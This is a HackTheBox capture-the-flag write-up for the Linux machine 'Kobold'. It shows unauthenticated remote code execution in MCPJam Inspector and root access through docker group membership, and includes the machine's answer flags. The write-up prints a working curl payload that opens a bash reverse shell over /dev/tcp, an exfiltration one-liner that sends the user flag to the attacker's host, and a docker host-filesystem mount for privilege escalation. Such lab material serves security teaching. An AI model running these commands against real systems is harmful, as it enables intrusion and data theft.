Back to writeups
HTBmachineEasysolved

Kobold

13 Jul 2026 · by 0xIDA

Solvers

HTB Kobold — Writeup

Author: 0xIDA

Solvers

FieldValue
PlatformHackTheBox
MachineKobold
ID856
OSLinux
DifficultyEasy
Points20
Author (maker)sau123
Solver author0xIDA
Date2026-07-13
VerificationLive submitted (user + root) via HTB MCP

Flags (verified live)

  • User: 7e3dedec17b2aa3905d089562ecfa91a
  • Root: af36a45c82b8e69cb52cb3f35c99a4c8

Synopsis

Easy free Linux box. External RCE via MCPJam Inspector CVE-2026-23744 on mcp.kobold.htb, shell as ben. Privilege escalation via docker group membership hidden in /etc/gshadow + sg docker / newgrp docker, then privileged container with host FS mount. Alternate longer path: PrivateBin shared volume + LFI (CVE-2025-64714) → credential reuse into Arcane Docker UI.

Reconnaissance

VPN: HTB free EU Machines (attacker 10.10.15.137). Target IP (this spawn): 10.129.245.50.

echo '10.129.245.50 kobold.htb mcp.kobold.htb bin.kobold.htb' >> /etc/hosts
nmap -sC -sV -Pn -oA nmap 10.129.245.50

Open ports:

PortServiceNotes
22OpenSSH 9.6p1 Ubuntuno creds yet
80nginxredirect → HTTPS
443nginxKobold Operations Suite, SAN *.kobold.htb
3552Arcane v1.x HTTPDocker management UI, auth required

Wildcard cert → vhost enum. Only non-redirect vhost:

mcp.kobold.htb → MCPJam Inspector SPA (no auth)
bin.kobold.htb → PrivateBin 2.0.2 (after internal nginx discovery)

Landing page on kobold.htb is static “Coming Soon” only.

User — CVE-2026-23744 MCPJam RCE

MCPJam Inspector ≤1.4.2 exposes unauthenticated:

POST /api/mcp/connect
Content-Type: application/json

{"serverConfig":{"command":"bash","args":["-c","<cmd>"],"env":{}},"serverId":"x"}

PoC (reverse shell; open UFW for HTB range first):

ufw allow from 10.0.0.0/8 to any port 4445 proto tcp
# listener: nc -lvnp 4445

curl -sk --resolve mcp.kobold.htb:443:10.129.245.50 \
  -H 'Content-Type: application/json' \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.15.137/4445 0>&1"],"env":{}},"serverId":"rshell1"}' \
  https://mcp.kobold.htb/api/mcp/connect

Shell as ben under /usr/local/lib/node_modules/@mcpjam/inspector.

HTTP exfil (when interactive stdin is awkward):

# attacker: python3 HTTP PUT logger on :4446
# target via same /api/mcp/connect:
bash -c '{ id; cat /home/ben/user.txt; ...; } | curl -sk -X PUT --data-binary @- http://10.10.15.137:4446/r'

User flag:

/home/ben/user.txt
7e3dedec17b2aa3905d089562ecfa91a

Submit:

mcp__htb__submit_user_flag → Kobold user is now owned.

Post-foothold notes:

  • uid=1001(ben) groups=ben,operator
  • /etc/group shows docker:x:111:alice only (ben not listed)
  • Local: 127.0.0.1:6274 MCPJam, 127.0.0.1:8080 PrivateBin container, *:3552 Arcane
  • operator owns /privatebin-data (Docker volume for PrivateBin)
  • Arcane unit: ENCRYPTION_KEY=Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E= (not needed for short root path)

Root — gshadow docker membership + host mount

/etc/group omits ben from docker, but sg docker / newgrp docker succeeds because membership can live in /etc/gshadow (readable by root; sg still switches when authorized). Effective identity after switch:

uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Docker works. Local image privatebin/nginx-fpm-alpine:2.0.2 already present (offline registry).

sg docker -c 'docker run --rm -u 0 -v /:/hostfs --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 -c "cat /hostfs/root/root.txt"'

Root flag:

af36a45c82b8e69cb52cb3f35c99a4c8

Submit:

mcp__htb__submit_root_flag → Kobold root is now owned.

Notes:

  • --entrypoint /bin/sh required or container default (nginx/php-fpm) steals the process
  • -u 0 required to read /hostfs/root
  • --rm cleans up

Alternate path (documented, not required for this solve)

  1. Write PHP into world-writable /privatebin-data/data/ (shared host↔PrivateBin volume).
  2. PrivateBin 2.0.2 LFI via template cookie CVE-2025-64714 → RCE inside container.
  3. Read container config (e.g. /srv/cfg/conf.php / MySQL password).
  4. Credential reuse on Arcane (http://kobold.htb:3552, default user often arcane) → create privileged container mounting / → root.

Tools

  • nmap, curl, python3 HTTP callback, base64 RCE staging
  • HTB MCP (start/stop, submit user/root)
  • docker / sg

Key takeaways

  1. MCPJam /api/mcp/connect is unauthenticated RCE on ≤1.4.2 when bound beyond localhost.
  2. Wildcard TLS SAN drives vhost discovery even when default host is static.
  3. docker group membership may appear only in gshadow — always try sg docker / newgrp docker.
  4. Docker group = root via -v /:/hostfs.
  5. Shared volumes + container LFI is a viable alternate chain for credential recovery into management UIs.

Paths

  • Machine workdir: `
  • This writeup: `
  • Mirror: `